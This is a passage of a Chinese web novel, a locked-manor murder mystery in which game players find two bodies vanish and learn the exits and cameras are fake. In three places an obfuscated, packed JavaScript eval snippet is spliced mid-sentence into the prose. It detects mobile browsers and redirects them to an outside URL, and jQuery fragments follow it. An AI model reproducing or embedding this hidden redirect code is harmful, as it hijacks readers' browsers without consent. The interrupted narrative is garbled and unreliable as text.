不知过了多久,一抬眼,刚好对上金兰花的视线。 金兰花递上一盒纸巾:“擦擦眼泪吧。” “谢谢阿姨。”元笑吸了吸鼻子,抱着膝盖望向窗外,小声说,“早知道就不来了。” 秦北是个热爱冒险的男孩,平时的交通工具是摩托车,爱好是滑板,最近两年迷上剧本杀和密室探险。来乌城的前一周,他们才去了蹦极。 “我们好不容易考上同一所大学,秦北说等大学毕业之后我们就结婚。他说要把蜜月定在野生动物迁徙的月份,还要带我跳伞,教我冲浪……” 曾经每一个幸福时刻,都会因一方离去而变成残酷的回忆,每次想起都如凌迟一般刺痛心脏。 “可我们还没结婚,他就被人害死了……”元笑惋惜道,“他还那么年轻,他才十八岁啊……” 金兰花看着她,白白净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743208|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净的一张脸被泪水打湿。纤瘦的身体,自己穿着太小的浴袍在她身上显得宽大无比。 夜晚配上这副画面,就像是电影里的女主,从一开始拥有一切到结局只剩孤零零一个人。 “你们的感情很好。”金兰花说。 “是的,学校很多人都喜欢他,还有给他写情书的,他统统都不要。我走到哪里,他就跟到哪里。”元笑闭上眼睛,泪如雨下,“可他再也不会跟着我了。” 金兰花抬起手,犹豫了一下轻轻放在她头上,以示安慰。 “你是个好女孩。” 过了一会儿,元笑抬起头:“Silas、阿姨,玩剧本杀时我看你们的推理能力都不错,那你们能不能也推理一下,之前我们一起做任务时,有谁不对劲?” 金兰花问:“你怀疑是谁?” “一开始是Silas,”元笑说,“但你可以证明他有不在场的证据。” “没错,我在楼下大厅里听见了你的尖叫声,在那之前Silas就在离我不远处的位置。” 金兰花分析:“你说秦北从走进浴室,到你发现他被杀害的时间一共不到15分钟。那么在我听到你尖叫之前的15分钟里,Silas一直在我的视线之内。我可以为他作证。” 唯一的线索无效,元笑觉得头脑发胀,摇摇头:“我想不出这些人有谁跟秦北有仇了。祈祷今夜快点过去,我要报警,我要带着秦北的……回家。” …… 三个小时后,斯文从沙发上起来,打开了随身听:“你们去休息吧。” Silas打了个哈欠,滴了眼药水后蜷缩在沙发上睡了。 天际是一望无际的黑暗,压得人喘不过气,元笑说:“我睡不着。” 金兰花打开柜子,把枕头塞给她:“那也躺一会儿,保存体力,明天肯定还有一堆事。” 这时候,睡在床边的俞耀星醒了,揉了揉眼睛坐起来。 顾霆告诉她:“现在是我和斯文值守的时间,你再睡一会儿。” 俞耀星纤细的两条眉毛皱起,无奈道:“我想去个洗手间,但……我不敢。” 秦北的尸体还在浴室,这个洗手间肯定是没人敢用的。 如果回到自己的房间,势必要走出房门,来到走廊。 这需要极大的勇气。 顾霆说:“我陪你回去。” 可俞耀星还惦记着陈成医说过的话,努了努嘴:“万一出事了,那个人又要说我们闲话。” “安全要紧,不怕。” “可是……” 二人犹豫时,斯文推了下厚重的眼镜片,提议:“要不我陪你去吧。” 俞耀星问:“你不怕吗?” “我们两个在一起怕什么。”斯文说。 房门敞开,顾霆就站在门外,目送她们出去。 掐着时间,不到三分钟,两个人回来了,顾霆明显松了口气,搂着妻子的腰紧紧抱了一下。 如此恩爱的画面,元笑看见鼻子又是一酸。 她听了金兰花的话,躺在飘窗上闭上眼睛,脑袋里全都是秦北的脸。 斯文拿着随身听,充电器连接插排,耳机没戴依然在摆弄着。 顾霆问:“你在看什么?” 斯文说:“小说。” “提前下载好的?” “不,”斯文摇了摇头,“是我自己写的小说,还在连载中。我要经常读一读之前的剧情,才不会忘记细节。” 齐刘海、厚眼镜,话不多。 名字又叫斯文。 顾霆作为娱乐圈的龙头老大,又是搞投资的。 这个斯文与他见过的大部分从事写作、绘画行业的人气质相同。 闲来无事,他问:“你写的是什么类型的小说?” “悬疑恐怖小说。” 他抬了抬眉:“怪不得你胆子这么大,敢陪星星回房间。” 斯文弯了弯唇:“其实我来到这里是为了寻找灵感,没想到竟然发生这种事。” “的确难以预料,”顾霆说,“一切都是那么诡异,光天化日之下,竟然有人敢行凶。” 夜深人静,时间的步伐也开始变慢。 幸而没有什么端倪发生,斯文从小说里抬眼,有些疲惫地说:“三个小时到了。” “嗯。” 顾霆眼中也爬上红血丝,他柔声叫醒了俞耀星,俞耀星却捂着肚子,眉毛拧成结:“一定是做任务时着凉了,我又想去洗手间。” 斯文把随身听放进口袋:“走吧,刚好我也想去了。” “我掐着时间,你们两个人一起,如果十分钟还不回来,我就出去找你们。”顾霆说。 他依旧站在门口,身体对着俞耀星的房门,幸好俞耀星的房间和元笑的房间相邻。 他站在中间,两个房间都能看的见。 此时,孙伶聪也醒了,睡眼惺忪爬起来问:“到时间了吧,咦,星星姐姐呢?” 顾霆说:“她去了洗手间,如果你也要去,等她们回来,我带你一起。” 孙伶聪点头:“好,我不着急,女士优先。” 他伸脚去够自己的鞋,一只脚落了空,点了半天低头只看见一只。 顾霆弯腰向下看,伸手一指:“另一只在床底下。” 见孙伶聪摸不到,于是走进房中帮他把鞋子拿出来。 就在这时,走廊里传来一声撕心裂肺的尖叫,这声音正出自俞耀星。 顾霆猛地起身,疯了一样冲出去! 元笑一夜未眠,也被着尖利的嗓音惊地坐起来。 迅速从飘窗上跳下来,鞋都来不及穿就往出跑! 刚跑出来只见对面第一间房的房门开着,有鲜血从房间内流出来,途径走廊的血条越来越细,流速也越来越慢。 那是陈成医的房间。 叫声来自俞耀星,她此刻已经被顾霆紧紧抱在怀里。 门里,陈成医仰面躺在地上,背部压着倾倒的衣架,支着他的上半身呈现出诡异的形状。 从门外看,他的脸是倒过来的。 双眸瞪得大大的,仿佛死前窥见了无比恐怖的画面。 胸膛也插了一把刀,鲜血染红整个胸膛,还在向外蔓延。 死状程度比秦北更加恐怖。 4. 正版 听见尖叫声,元笑已经意识到了什么。 但真的再一次看见有人遇害,还是觉得恐怖如斯。 凶手再次行凶了! 并且还是在所有人都保持着强烈警惕心的时候。 这说明凶手的手段十分敏捷,心理素质也很强大。 一众人再也无法安然入睡,甚至连走进某个人的房间都不敢。 大家聚集在一楼客厅,孙伶聪抬起手,快速在摄像头前摇晃:“有人在吗?我们遇到危险了!” 红点在闪烁,可深更半夜完全没有人回应他们。 俞耀星缩在顾霆怀中,脸色煞白,惊吓还未褪去。 这幅样子如果被她的粉丝看见,恐怕要心疼死。 她声音颤抖着说:“我和斯文一起去洗手间,去的时候,陈医生的房门还是关着的……可等我们一出来就见他的门敞开……吓死我了。” 斯文也受到了惊吓,她吞了下口水:“我跟在星星姐后面,也算是开屏暴击了……” 元笑问:“他走的时候,不是说了要用桌子把门抵上,保证一个蚊子都进不去吗,怎么会这样呢?” 顾霆沉声道:“我也记得这句话,所以刚才留意了桌子的位置。我们所有人的房间摆设都是相同的,桌子靠墙放置,在床的斜对面。但陈成医的桌子在门边。” 俞耀星抬眼:“这说明,他的确拖着桌子挡住门了?” “没错,”顾霆说,“但即使是这样,凶手还是把他杀害,并且要让我们知道他被杀了。” 俞耀星不解:“为什么这么说?” 听了顾霆的话,元笑恍然大悟:“因为他房间的门锁没有被破坏,而陈成医明显是在门打开之前就死了,所以打开门的人是凶手!” 又思忖了一会儿,元笑又发出疑问:“那这么一想,凶手一开始是怎么走进陈成医房间的?” 俞耀星猜测:“难道是陈成医自己打开门的?” 顾霆点头:“没错,凶手之所以能走进陈成医的房间,就说明房门是陈成医自己打开的,用来挡着门的桌子也是他自己移开的。” “但奇怪的是,我当时虽然在房间里帮孙伶聪拿鞋,却并没有听见走廊有人讲话。如果有人敲门或是说话,我一定可以听到。” 这话一说出来,所有人都陷入回忆。 因为他们轮流值守,每分每秒都有人醒着,所以认定这个结论最正确。 “但这是不是有点太巧了?”斯文扯了一张纸擦去眼镜上的灰尘,她皱眉分析道,“就在顾霆帮孙伶聪拿鞋时,陈成医自己打开房门,恰好碰见了凶手,然后凶手杀了人再躲藏起来……” 斯文说:“这中间也就不到一分钟的时间吧,这么多巧合能汇集在一起吗?凶手怎么能知道陈医生会在那个时候打开房门呢?” “不,你忽略了一个问题,”顾霆说,“凶手也可以在你们两个去厕所之前,就走进陈成医的房间。那时候我们一直在房间里,门关着,元笑在哭着讲往事,我们听不到走廊里的声音很正常。” 斯文认同了这个猜想,又提出一个疑问:“可我实在不能理解,凶手杀了人,为什么要故意打开门?” “一定是为了制造恐慌!”俞耀星开口,“陈成医分明可以悄无声息死在房间里,等明天警察来了之后才会被发现。但房门打开了,就代表凶手一定知道我们现在很害怕,所以故意打开房门。” 俞耀星说:“陈成医的房间在我房间的斜对侧,凶手知道我们两个去洗手间,一出门就能看见他的房间。所以故意打开门,是想给我们制造更加惊悚的环境和心理压力!” 说完这些,她后怕地拍了拍胸脯:“所以凶手在杀了秦北之后并没有半点恐慌,而是像在看戏一样,给我们制造恐慌?这个人一定是变态!” 元笑看着聚集在客厅里的人,这些人刚刚一直待在自己的房间,谁都没有杀人时间。 等等! 不对! 俞耀星左边是顾霆,右边是斯文。 金兰花坐在自己旁边的短沙发上。 孙伶聪在摄像头下面的椅子上,表情难过,时不时朝镜头挥手。 Silas坐在离沙发不远的按摩椅上。 …… “那个女人呢?”元笑头皮发麻,诧异道,“那个抱着孩子的女人没有下来!” 说到这,元笑激动地站起身来:“陈成医刚才给两个人作证,一个是小神童,另一个就是那个女人!” 顾霆很快明白她的意思,点头,说:“所以,能够让陈医生放心地把桌子挪开,再打开门的人,一定是他绝对信得过的人。” “小神童一直跟我们在一起,睡得很踏实,”俞耀星说,“原来是那个女人!我就说她看起来奇奇怪怪的,又对剧本杀一窍不通,怎么可能会来到庄园呢!” 顾霆轻拍她的手:“现在只是怀疑,在事情没有确凿证据之前,我们不要妄下结论。这样,我去把她叫下来,她也有给自己证明的权利。” 俞耀星听后一把抱住他的手臂,连连摇头:“你就是太谨慎了,现在很明显能证明凶手就是她!不能一个人上去!” “难道你忘了,秦北的死,孙伶聪和陈成医都能给那个女人做证人。”顾霆说。 “不然我们三个一起上去?”斯文提议。 元笑心里猛地一颤,这样一来,大厅里就只剩下孙伶聪这个小朋友、自己和金兰花,以及Silas。 孙伶聪和自己都是不抗击打的人,金兰花年纪大概也有40+ 也就是说,如果他们三个上了楼,就只剩下Silas一个人战斗力强一些。 万一遇到危险,自己就算不死,也不会毫发无损。 “还是一起去吧。”元笑说,“我们一起行动,多一个人,安全系数就多一些。” 元笑此刻的依赖反倒让人安心,顾霆点头:“那我们不要分开了,一起上去找她。” 七个人重新回到2楼,抱孩子女人的房间在最里面的一间,要走到她的房间,势必要再次经过陈成医的房间。 所有人都默契地选择不去看那惊悚的画面,不与已经死去的那双眼睛对视。 小心翼翼跨过即将流到对面墙上的血流,一言不发朝里面走。 抱孩子的女人房门紧锁,俞耀星敲了好久,才听到她的声音。 “你们要做什么?” 音色慌张,带着警惕和不安。 俞耀星尽量用和善地语气开口:“大姐,这里又发生了一场命案,我们所有人都要提供不在场的证据,现在只剩下你了。” “你们别想骗我开门!”房内的女人突然愤怒,喊道:“我没有杀人,是你们要杀我!是你们骗我来这里的!我从来不认识你们,没有得罪过你们,为什么要骗我来这里,放过我,放过我女儿!” “我女儿是无辜的!我可以死!但我女儿不行!” “你们放过我女儿吧!不要伤害我女儿!” …… 俞耀星哽住,她只说了一句话,就引起女人接连不断的哀嚎。 斯文叹了口气,指了指自己的脑袋:“我觉得她这里有点不正常。” 这个女人穿着邋遢,头发油到打绺,挡住大半张脸。 完全不懂剧本杀,只是抱着自己的女儿,按时冲奶粉给她喝。 女儿到是个乖巧好带的,从一开始就没听过半点哭声。 孙伶聪说:“其实我觉得这个阿姨也不像是凶手。她身材还那么干瘦,怎么能悄无声息杀害比自己更壮更高的陈成医或秦北呢?而且她对我说话也很温柔,之前我们一起等妹妹睡醒来着。” 房间里的女人一会儿怒吼,一会儿求饶,喊到嗓子沙哑。 俞耀星说:“可如果不是她还会有谁呢,只有她有机会,并且能让陈成医放下戒备打开房门。” 顾霆说:“她不肯开门,我们先回客厅讨论一下吧。” 此刻大家同为一体,最有安全感的男人走了,自然也要跟随。 陈成医那张脸依旧骇人,诡异又恐怖,元笑根本不敢多看一眼,退到了最后贴着墙壁走。 俞耀星也很害怕,好在顾霆察觉到了,马上拥住她挡住陈成医的死亡凝视。 “别怕有我在。” 他拥着妻子走在前面,走了几步回头看。 元笑牵着孙伶聪的手,金兰花站在元笑的另一侧,迈过血迹时,顺手关上了陈成医的房门。 大家重新回到刚刚的位置,这次仿佛全都丧失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743209|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了语言功能,安静地坐在原地一言不发。 Silas先开口打破平静。 “我们再回忆一下,发现陈成医尸体时的细节吧。” 金兰花率先开口:“事发时元笑和我已经躺下休息了,我只听到俞耀星的尖叫声,当时还以为是她出事了。” 孙伶聪说:“我刚刚睡醒,顾霆叔叔站在门口,等星星姐姐和斯文姐姐去洗手间回来。我够不到鞋,顾霆叔叔就进来帮我拿。” 俞耀星说:“我和斯文回我的房间,出来时看见了陈成医的尸体。我被那个场景吓到尖叫。” 斯文配合着点点头:“我虽然在她身后,但几乎是同时看见的。” Silas抬手,想说什么又止住,嘴角弯了弯友善地说:“我接下来的话只是猜测和分析,希望被点到名字的人不要介意。” 说完,又抬手,在俞耀星和斯温身上来回比划。 “也就是说,你们两个也有可能趁着大家没看见,做掉那个姓陈的。” 俞耀星的眉毛顿时拧起:“我们是去上厕所的,怎么可能杀人呢?” Silas:“所以你们两个也没有证据证明自己没杀人,对吗?” 斯文都给气笑了,破罐破摔快速说道:“洗手间里有我们用过的纸巾,等明天警察来了都可以拿去化验,这样就能证明我们没说假话!” Silas耸了耸肩:“其实,我就是猜测推理而已。” 每个人听到自己被怀疑时,都忍不住气愤,气氛一时变得尴尬,也没有人再开口说话。 就这样一直坐到天亮,太阳的光辉终于浮现,点亮了希望。 俞耀星憔悴的脸上露出笑容,光着脚跑到摄像头下大力挥手:“有人在吗?快来救我们!” 红灯依旧在闪烁,可还是得不到任何有效回应。 “才五点半,”顾霆说,“还早,可能还没上班。” “管不了了!我要离开这里!顾霆,我们快走,不要等警察了,也不要等这些人上班了。” 俞耀星紧紧攥着顾霆的衣袖,几乎崩溃道:“我真的好害怕,我有一种预感,再不走我们都会死在这里!!” 她双眸遍布血丝,嘴角也干裂,眉眼间的疲惫甚至比连续拍戏一个月更加明显。 顾霆不认看妻子煎熬,敛眉沉声应道:“走吧。” 他们上楼收拾行李,孙伶聪看向楼上,犹豫着不敢前行。 金兰花问:“你也想要收拾行李吗?” “我还是不收拾了吧……”孙伶聪缩了缩肩膀说,“一会儿拜托星星姐姐带我一起走,那行李……我就不要了。” 十几分钟后,顾霆和俞耀星提着箱子下了楼。 刚走到门口,一直没讲话的元笑突然开口:“你们不能走。” 俞耀星疑惑地皱眉:“为什么?” “凶手还没有找到,你们都没有充足的证据能证明不是杀人凶手,警察来了怎么办!?” 经过一个晚上的分析,每个人都有能够直接或间接证明自己没杀人的证据,但却都不完善,这也就是说,每个人都还有嫌疑。 秦北就这么死在了异地,她不能放过半点可疑的线索。 “元笑,我能理解你的忧虑,”顾霆沉声道,“但我们也是人,也要自保。这里绝对不能久留,况且我们也没有义务必须等警察过来,等以后再配合调查也可以。” 他拿出一张名片,放在元笑掌心: “这是我的名片,星星是演员,我们都是公众人物。我保证出去以后你能找到我们,日后警察询问我也会一一配合。” 俞耀星上前一步:“元笑,要不你也一起走吧。昨晚死了两个人,凶手就在我们之中。” 她凑到她耳畔,低声说:“只有先保住命,才能还秦北公道。” 一句话刺中元笑的心。 要想找到真凶,首先得保证自己的生命安全。 否则哪怕和凶手面对面,也是心有余力不足。 大家又陪元笑一同回到楼上,元笑取了身份证件,临走前想再和秦北告个别,于是难过地走向浴室。 推开门,大吃一惊! 她慌张地跑出来,焦急对等在房门口的几人说:“秦北不见了!” 5. 正版 不仅秦北的尸体不见了,就连地上的血迹也不见了。 方形地砖,秦北的血液本来堆积在砖缝之中,衣衫的泥土与水相融覆盖洁白的地砖,诡异地流淌。 昨晚元笑折下被雨打弯了腰的玫瑰,摘了漂亮的花瓣放到浴缸里,颜色像血一样,却不是血。 所有的一切都在,只有秦北的痕迹不见了,仿佛他从未来过。 顾霆站在浴室门口,看着干净整洁的浴室思忖几秒后转身离开,大步走到陈成医房间,打开房门,眼神一暗。 俞耀星也跑过去,倒吸一口冷气:“陈成医的尸体也不见了!” 撑起陈成医尸体的衣架还倒在地上,桌椅还在之前的位置,俞耀星蹲在地上仔仔细细地看,整洁的地面没有半丝血液残留痕迹。 阳光洒下,微风拂过。 庄园里的人感受不到半分温暖,他们围坐在一起,面色沉重。 只有院中大树舒展着四肢,影子如同张牙舞爪的恶魔。 顾霆的眼睛扫过每一个人,最终落在了坐在对面的金兰花身上。 “你为什么关上陈成医的房门?”他冷冷开口。 金兰花诧异指着自己的鼻子:“你是在问我吗?” 顾霆眸色锐利:“我带星星下楼时,回头看了一眼,刚好看见你关上了他房间的门。” “你们难道不害怕吗?”金兰花反问,“陈医生的房间在第一间,万一谁想要去洗手间,哪敢路过那里呢?而且我关上门,是因为元笑说她很害怕。” 这一点,元笑可以作证,她点头:“是的,我双腿发软,金阿姨才帮我关上门的。” 陈成医的死状的确恐怖,因为衣架垫在后背上,脑袋悬空自然下坠,倒视的方向刚好是门外。 等于说每个经过他房门口的人,都会被他死死盯着。 “况且,我关不关门又能证明什么呢?”金兰花说,“刚才我们都在这里,凶手有充足的时间转移尸体,不差开门关门这一秒钟。” 顾霆叹了口气:“实在抱歉,是我太敏感了。” 不到24小时的时间里,两个相识之人的尸体出现在眼前,又诡异地消失在眼前。 或许下一个遭此经历的就是身边的人,又或许是自己。 众人再次陷入沉默中,一丁点风吹草动都能让他们惊恐。 元笑抱着膝盖蜷缩在沙发上。 到底是谁这么会利用时间差,这个人到底想做什么? 她本想解决完这件事后让秦北入土为安,可现在居然连尸体都不见了。 “所以……是有人趁着我们在楼下时,把尸体处理了。”元笑在一片寂静中开口,把凌乱的碎发拨到脑后,“那个人知道天亮我们会报警,是在销毁证据?” 俞耀星皱眉思考:“这么说来,只有那个抱孩子的女人一直在房间里,她最有可能趁我们在楼下时转移尸体了。” 斯文说:“可转移两具尸体、擦去血迹、一丁点痕迹也不留……这很难做到吧?” “非常难,”元笑认同斯文的话,“两个成年男性的尸体很沉,不仅要悄无声息搬运,还要耐心细致清理血迹。除非——” 俞耀星挺身:“除非什么?” 元笑说:“除非有人帮忙。” 俞耀星:“你是说凶手不止一个人?” 元笑点头:“能这么快速处理两具尸体,对一个身材瘦弱的女人来说是个难事。” 看来昨晚陈成医在愤怒中说出来的话,也并不是全无道理。 这也就是为什么每个人都有嫌疑,但每个人又都有可以证明自己没刺杀某个人的证据。 因为凶手是分开行动的! 元笑脑海里闪过这些天的所有画面,突然打了个寒颤。 金兰花就坐在她身边,察觉到她的异样,忙问:“你怎么了?” 元笑目光警惕地落在对面。 她的唇在颤抖,不可置信看着俞耀星和顾霆。 声音带着破碎感:“你们……你们两个,单独上楼收拾行李了。” 面对指控,俞耀星愣住,随即反驳道:“我们也就收拾了十几分钟行李而已,怎么可能在这么短的时间里又收拾行李,又处理尸体呢?你不要血口喷人!” 顾霆握住余耀星的手,安抚拍了拍:“现在的情况的确是一点风吹草动就能成为被怀疑的理由。” 俞耀星气愤甩开丈夫的手,“刚刚是元笑不让我们走,我能理解她想要找到凶手的心情,所以好言解释,还劝她一起走。可现在居然又来指控我们,只是因为我们上楼用了十几分钟的时间!” 一直坐在按摩椅上的Silas揉了揉眼睛,重新戴上眼镜: “看吧,所有人被怀疑是凶手时,都会激动。但我想说的是,我和元笑有一样的想法。毕竟你们收拾完行李后,那俩人的尸体就不见了。” “你血口喷人!”俞耀星起身,“那你说说,十几分钟的时间我们怎么做到转移尸体,再清理血迹的?” 元笑却不觉得Silas在血口喷人,她指出: “昨晚我一直没睡着,我知道你两次回到自己的房间上厕所。如果真是你,那么你的时间可不是短短的十几分钟,而是一整晚。” 一整晚足够做很多事。 提前收拾好行李,杀掉陈成医,准备后续清理尸体的工具…… 只要有完整地规划、熟练的手法、高效的工具,完全可以在20分钟以内转移两具尸体。 而凶手心理素质如此强大,很明显是个有经验的。 “不可能!”这次反驳元笑的是斯文。 斯文说,“那两次去洗手间,都是我们俩一起去的。她上厕所时我就在门外,我上时,她也在门外啊!” 时间安静下来,其他人的目光都落在她身上。 阴鸷、警惕。 斯文脸色一沉:“你们该不会怀疑我吧??” Silas表情尴尬又认真,他说:“虽然听上去、想上去都很离谱,但这种可能性也不为0,甚至很大。” 他近一步分析:“三个人合作的作案速度更快。一人转移尸体,一人清理现场,空出一个人这边帮帮忙那边帮帮忙。当然这只是我的猜想,离谱中也带着合理……不是吗?” 斯文脾气噌地上来,她狠狠一拍桌,指着Silas:“你也知道你说的很离谱?那我也说个很离谱的质控你是杀人凶手?” Silas抬了抬眉,无辜道:“一整晚我都和大家在一起,也没有上楼,是怎么跑去转移尸体的呢?你的离谱理由该不会是……我会分身术?我能凭空把人变没?” “你……” “好了,都少说两句吧,”金兰花抬手,安抚道,“就像顾霆刚刚说的,大家都太敏感了。我们冷静一点,再好好想想——” “我冷静不了!!”元笑突然嘶吼着起身,发丝凌乱,碎发在阳光下炸起。 往日恬静的形象在这一刻彻底破碎。 她指着放在沙发边缘的大行李箱,对俞耀星喊道:“打开!把箱子打开!” “你觉得我会把秦北尸体藏在箱子里?” “我叫你打开!” 元笑已经在崩溃边缘,全身血液都汇集到头顶,高分贝大喊使得她脸色通红、发麻。 俞耀星气不打一处来,起身一脚踹倒自己的行李箱。 拨动密码时,所有人的视线都落在上面,就连孙伶聪的小手都不由得攥在一起。 可里面并没有想象中的血腥画面,而是很多衣服和遮阳帽,另一个箱子打开,里面是生活用品、化妆品,还有几本书。 俞耀星怒视元笑:“你仔细看清楚,我们才不是杀人凶手!” 元笑最终如同被抽取魂魄一样,重重地呼吸了几下,无力地坐在地上。 整个人似乎也随着秦北而去,刚刚只是回光返照。 不是他们,那到底是谁…… 秦北……如果你还活着,一定可以推算出来…… 元笑的情绪崩溃,趴在地上哭出声。 顾霆起身轻拍俞耀星的肩膀以示安慰。 “没错,在没有结果之前,我们每个人都有嫌疑。怀疑别人正常,被怀疑也是正常的。但大家都理智一点,不要意气用事。” 话毕又分析道:“如果凶手真是在这段时间带走了秦北和陈成医的尸体,那么他们两个的尸体很有可能还在这个庄园里,只是暂时被转移了。” 顾霆说:“我提议我们一起把每个房间都找找,凶手的速度哪怕再快也很难转移两具尸体。” 这句话又让元笑重拾希望。 只要秦北的尸体能找到,警察来了以后就一定可以找到蛛丝马迹。 再不济,她也能送秦北最后一程,让他入土为安,而不是在这个该死的庄园里做无头苍蝇。 她用衣袖抹去眼泪:“好,我们一起找!” 这座庄园有二十几间卧室,全都在2楼。但因为本次玩家只有十人,就只开放了十个房间。 顾霆住在俞耀星的房间,秦北则住进了元笑的房间,等于说他们两个的房间一直是空着的。 一众人把除了抱孩子的女人之外的九个房间都搜查一遍,柜子、床下都没放过,也没有发现尸体。 元笑心中的希望之火越来越暗,走到下一扇门,门把手却被固定住,怎么也转不开,依然犹如上了发条的木头人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743210|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样,重复地往下按。 “元笑,这个房间不是我们玩家的房间,所以被锁住了,”金兰花指着门上的提示语,“玩家禁止入内。” 顾霆说:“但我们现在不是玩家,而是猎物。” 说完就后退半步,大家瞬间明白他要做什么,默契地为他让开一条路。 只见顾霆抿着唇,高高抬起腿一脚踹在门上。 第一脚,门纹丝不动,第二脚依然不见打开的迹象,第三脚更用力,门终于颤了颤。 但顾霆已经无法再用力,这三脚的力量也反噬到了他腿上,钝痛感让他抬不起腿。 没想到仅仅一扇门居然这么沉重,他缓了一会儿改用肩膀撞门。 虽然知道越是撞不开就越有问题,但俞耀星还是阻止了他。 她气愤道:“你这么积极做什么,人家又不领情。我们不要再管这里的事了,好人难当,知人知面不知心!” 元笑的眼睫颤了颤,看了俞耀星一眼又垂眸。 确定这扇门很难打开,而自己已经做得够多,顾霆也不想再停留。 他揉了揉肩膀,同意了妻子的说法:“好,我们走。” 孙伶聪早在大家一起搜索房间时整理好行李,书包一直背在身上。 俞耀星问:“小神童,你要跟我们一起走吗?” 孙伶聪摇头,并且后退半步,警惕地看着她。 俞耀星扁扁嘴,扯着顾霆:“你看,你做了这么多,又出体力又出脑力,结果大家都认为我们是凶手。” 孙伶聪解释道:“你误会了星星姐姐,是我不相信这里的任何一个人。” 接二连三的意外事件,使每个人都沾了嫌疑。即使现在没有,但下一个意外发生时,也会被牵扯进来,大家对彼此的信任感逐渐耗尽。 俞耀星和顾霆不再顾及其他人,拎着行李来到大门口。 剩下的人再三考虑,也跟在他们身后准备离开。 金兰花拿着行李箱,转头牵起元笑的手:“走吧可怜的孩子,警察会处理好一切的。” 出了门,阳光刺痛双眼,元笑失魂落魄跟在金兰花身后。 她决定走出去就要借路人的手机报警,一秒钟也不会耽搁。 可等他们拿出邀请函时,却发现唯一能开门的闸机不见了。 刚进来时,每个人刷自己的邀请函进入庄园,但出门却没有闸机。 大门紧闭,无论推还是拉都不奏效。 黑色铁门仿佛古代高墙焊死在面前,半丝缝隙都没有。 …… 几个小时后,一群人拖着行李箱回到庄园客厅。 俞耀星一脸颓败把行李扔到地上,崩溃道:“我们谁也出不去了!” 说完就冲到摄像头前挥舞双手:“有没有人在啊!有人要杀我们!” 俞耀星的叫喊声,和想走也走不了诡异庄园,让大家纷纷陷入恐慌之中。 就连一直沉着冷静的顾霆,此刻也是满头大汗,烦躁地扯了扯领带。 最后的退路已经被堵死,在这里的每分每秒都是煎熬。 求生之门被锁死才知自己早已是笼中之物。 孙伶聪也控制不住情绪了,抹着眼泪来到摄像头前,呜呜哭:“求求你们放了我,我妈妈还在家里等我,求求你们了……” 元笑看了眼挂在墙上的钟表,现在是上午九点一刻,又是工作日。 不会没有值班人员守着监控的。 可他们不仅不管不顾,还拿走了手机,关闭了大门。 这足以证明一切都是阴谋! 是有人故意将他们骗到这里,制造了这一切。 他们一定就在摄像头的另一侧,甚至昨晚也在。 元笑上前,对着摄像头开口:“放我们出去,这根本不是探险,这是冒险!秦北已经死了,你到底是谁!你要做什么!” 闪烁的红点不再是求生的希望,在此刻看来更像是无声的嘲笑。 像上帝俯瞰人类那般,眨一眨眼,轻蔑又讥讽。 时间如同热油,生生将他们放在烤盘上煎烤。 多等一秒都让人抓狂,元笑忍不住抽了把椅子站上去,手动转动摄像头,却没料到只是稍微一用力,摄像头竟然从墙上掉下来。 墙皮落在她的手臂上,断了的线头里连根金属丝都没有,可红点依旧在闪烁。 她左右翻看,高高抬起手砸在地上,一个红色的小灯泡掉出来,闪烁的频率与刚刚看到的摄像头内红点相同。 “假的,竟然是假的……” 元笑脸色苍白,恍然大悟:“全都是假的,我们的画面根本没有被传出去,谁也不知道我们被困在这里……” 6. 正版 正午阳光灿烂,客厅内的摆件都被染成金黄色。 如果现在有人从落地窗外看,会以为客厅里摆放了7个人形蜡像。 元笑坐在沙发上一动不动,眼皮低垂。 她觉得自己是上了钩的鱼,遍体鳞伤,等待被人放在砧板上宰割。 地上还在闪烁的红色小灯泡被人一脚踢开,高跟鞋踩在地上发出清脆的响声。 “我先表态,”俞耀星站在客厅中央,对着虚无缥缈的空气扬声道,“只要你放我和顾霆走,我们愿意把全部财产通通转到你名下。只要你不杀我们,今天发生的一切我们缄口不言,我发誓!” 她跑到顾霆身边,抬起他的手:“老公你也发誓!你要让他看见我们的诚意,我真的愿意把全部财产都给他!” 顾霆眼中全是心痛,他抱住俞耀星,心疼地拍她的背,又不得不告诉她一个残酷的事实。 “这个庄园的主人不缺钱。” 俞耀星抬眼:“庄园的主人?” “很明显,”顾霆说,“突然消失的门闸,取之不竭用之不尽的食物,以及快速杀人和转移尸体的手法……这座庄园是新建的,能快速熟悉地形和细节,除了庄园的主人之外,还有谁能做得到呢?” 顾霆叹气:“所以,一个拥有庄园的人,绝对不会缺钱。” “那到底是为什么要把我们囚禁在这里?”俞耀星皱眉。 